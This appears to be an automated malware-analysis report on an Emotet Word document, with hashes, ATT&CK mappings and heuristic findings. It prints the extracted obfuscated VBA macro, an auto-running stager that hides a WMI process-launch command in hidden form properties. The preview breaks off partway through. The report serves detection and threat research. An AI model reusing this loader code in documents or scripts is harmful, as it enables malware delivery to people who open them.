Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 fe6e8a570f0f37fe…

MALICIOUS

Office (OLE)

225.4 KB Created: 2020-08-11 09:25:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d6143d0782059fa27ae8356f2eaa0379 SHA-1: 785ce4813de2c4265aabd894fac4bdd6874dc3f8 SHA-256: fe6e8a570f0f37fe894a2ea45bc9847b919d47ae29eb2b1019affd38d3689a07
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The script's obfuscated nature and use of CreateObject suggest it is designed to download and execute a secondary payload. The ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9264667-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9264667-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4404 bytes
SHA-256: b0f28e8b12d332c67cb550fa1912fbd2efafc4b54d634df11cba391a34a7c825
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EZELUmzowzbchjx"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
VFDNVrdyvigahjqfhpi.MAQFPzveoinqssiot
End Sub


Attribute VB_Name = "VFDNVrdyvigahjqfhpi"
Attribute VB_Base = "0{0362798E-9E3A-4BDD-ABD3-295BF8567339}{3A06F45E-D793-4C90-9C93-04A41522CD3A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function MAQFPzveoinqssiot()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
AUQRPlbrgixkzqcra = VFDNVrdyvigahjqfhpi.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
LZCSPizlqtlimfkvd = ChrW(AUQRPlbrgixkzqcra + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
FWLMPjpmeebqg = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + LZCSPizlqtlimfkvd + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + VFDNVrdyvigahjqfhpi.EWTOCqyqtlfctll + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
GSCJVhhavjximyw = VSPPSiodcmlkevigx(FWLMPjpmeebqg)
Dim JtF1ÔVIsgfW As Variant
Set TLTLExaesjkhgxesu = CreateObject(GSCJVhhavjximyw)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
DJYADpnlcovcamm = VFDNVrdyvigahjqfhpi.ZXXPHyfyglhalpvsl.ControlTipText
Dim aKHZFGTowB As Currency
XIQEQwalmvzzpuo = m2m3b5 + (GSCJVhhavjximyw + LZCSPizlqtlimfkvd + VFDNVrdyvigahjqfhpi.JDWYZhaxavsnumlx.ControlTipText + DJYADpnlcovcamm)
Dim fIspInaCW As String
PWCHSpdqihbkkkyf = XIQEQwalmvzzpuo + VFDNVrdyvigahjqfhpi.EWTOCqyqtlfctll
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set LECMOogdxsxykihaq = CUEVYgptqzqzbkimpmf(PWCHSpdqihbkkkyf)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", TLTLExaesjkhgxesu. _
Create(PRKWDnkrfcjvvkrfdyz, IUJNByoqktvwbgqxq, LECMOogdxsxykihaq), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function PRKWDnkrfcjvvkrfdyz()
n21bh3 = VFDNVrdyvigahjqfhpi.MVMRRxbjqkevyljdtm.Pages(vbOK).Caption
PRKWDnkrfcjvvkrfdyz = VSPPSiodcmlkevigx(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function CUEVYgptqzqzbkimpmf(BGSCXdltjeln)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set CUEVYgptqzqzbkimpmf = CreateObject(BGSCXdltjeln)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
CUEVYgptqzqzbkimpmf. _
showwindow = WFUILquylgydpfyee + NGWTAnawvpvs
Dim UMbU As Object
End Function
Function VSPPSiodcmlkevigx(JNNSQixpkkridhyrc)
YHNNAxjwkglgujnggxk = JNNSQixpkkridhyrc
Dim ZvdC As Currency
MLAVVcbxuuvkmndgq = Split _
(YHNNAxjwkglgujnggxk, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
GAAXZyeouemves = mmm2 + Join(M
... (truncated)

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